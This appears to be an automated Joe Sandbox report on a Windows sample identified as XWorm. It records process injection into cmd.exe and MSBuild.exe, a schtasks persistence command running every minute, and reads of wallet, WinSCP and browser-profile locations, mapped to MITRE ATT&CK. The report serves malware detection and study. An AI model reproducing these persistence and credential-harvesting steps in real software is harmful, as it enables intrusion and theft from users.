Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x140120A3C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF62618F43C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6261BB150	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe base: 14011BC08	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe base: 387010	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe base: 14011BC08	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe base: 228010	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6B8B1000
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 916008
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6B8B1000
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B3E008

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Process created: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe "C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe" -burn.clean.room="C:\Users\user\Desktop\H3Ze9Uj.exe" -burn.filehandle.attached=516 -burn.filehandle.self=524	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe"
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D61719 InitializeSecurityDescriptor,GetLastError,CreateWellKnownSid,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,SetEntriesInAclA,SetSecurityDescriptorOwner,GetLastError,SetSecurityDescriptorGroup,GetLastError,SetSecurityDescriptorDacl,GetLastError,CoInitializeSecurity,LocalFree,

0_2_00D61719

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D63A5F AllocateAndInitializeSid,CheckTokenMembership,

0_2_00D63A5F

Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000000.1623633523.0000000140156000.00000002.00000001.01000000.00000021.sdmp

Binary or memory string: )[%d] Shell_TrayWndTrayNotifyWnd

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D4EC07 cpuid

0_2_00D4EC07

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: GetLocaleInfoA,	2_2_6D2E518D
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,	3_2_00B1C0B7
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoA,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_00B2007A
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoA,	3_2_00B1D1B0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,	3_2_00B1C30F
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	3_2_00B1C760
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoW,	3_2_00B1F8A7
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,GetLocaleInfoA,	3_2_00B1F8DB
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_00B1C877
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_00B1C983
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	3_2_00B1C90F
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	3_2_00B16A88
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __crtGetLocaleInfoA_stat,	3_2_00B1FA1A
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00B1BA49
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_00B1CB55
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	3_2_00B1CCB9
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_00B1CC16
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_00B1CC7D
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: GetLocaleInfoA,	3_2_00B16FE0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	3_2_00B19FD1

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Users\user\AppData\Roaming\MSBuild.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Users\user\AppData\Roaming\MSBuild.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Users\user\AppData\Roaming\MSBuild.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Users\user\AppData\Roaming\MSBuild.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.dll VolumeInformation

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D34EDF ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,CreateNamedPipeW,GetLastError,CreateNamedPipeW,GetLastError,CloseHandle,LocalFree,

0_2_00D34EDF

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D26037 GetSystemTime,GetDateFormatW,GetLastError,GetLastError,GetDateFormatW,GetLastError,

0_2_00D26037

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D261DF GetUserNameW,GetLastError,

0_2_00D261DF

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D6887B GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,

0_2_00D6887B

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D25195 GetModuleHandleW,CoInitializeEx,GetVersionExW,GetLastError,CoUninitialize,

0_2_00D25195

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 19.2.cmd.exe.57100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.cmd.exe.52a00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.cmd.exe.57100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.cmd.exe.52a00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.MSBuild.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000002.2407386155.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2127492102.0000000005710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2602866052.0000000002A56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.2414562408.0000000000952000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\yiefm, type: DROPPED

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 Override	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 Override

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\y572q81e.default
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 19.2.cmd.exe.57100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.cmd.exe.52a00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.cmd.exe.57100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.cmd.exe.52a00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.MSBuild.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000002.2407386155.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2127492102.0000000005710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2602866052.0000000002A56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.2414562408.0000000000952000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\yiefm, type: DROPPED

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFAEB58 CorBindToCurrentRuntime,	2_2_6CFAEB58
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFE767F CorBindToCurrentRuntime,	2_2_6CFE767F
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFF8026 SysFreeString,CorBindToCurrentRuntime,RaiseException,RaiseException,RaiseException,	2_2_6CFF8026

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	21 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	5 Native API	1 Windows Service	11 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	11 Peripheral Device Discovery	Remote Desktop Protocol	11 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	11 Scheduled Task/Job	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	121 Registry Run Keys / Startup Folder	1 Windows Service	21 Obfuscated Files or Information	NTDS	13 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	213 Process Injection	1 Software Packing	LSA Secrets	148 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	11 DLL Side-Loading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	121 Registry Run Keys / Startup Folder	1 File Deletion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Masquerading	Proc Filesystem	31 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	213 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report H3Ze9Uj.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
H3Ze9Uj.exe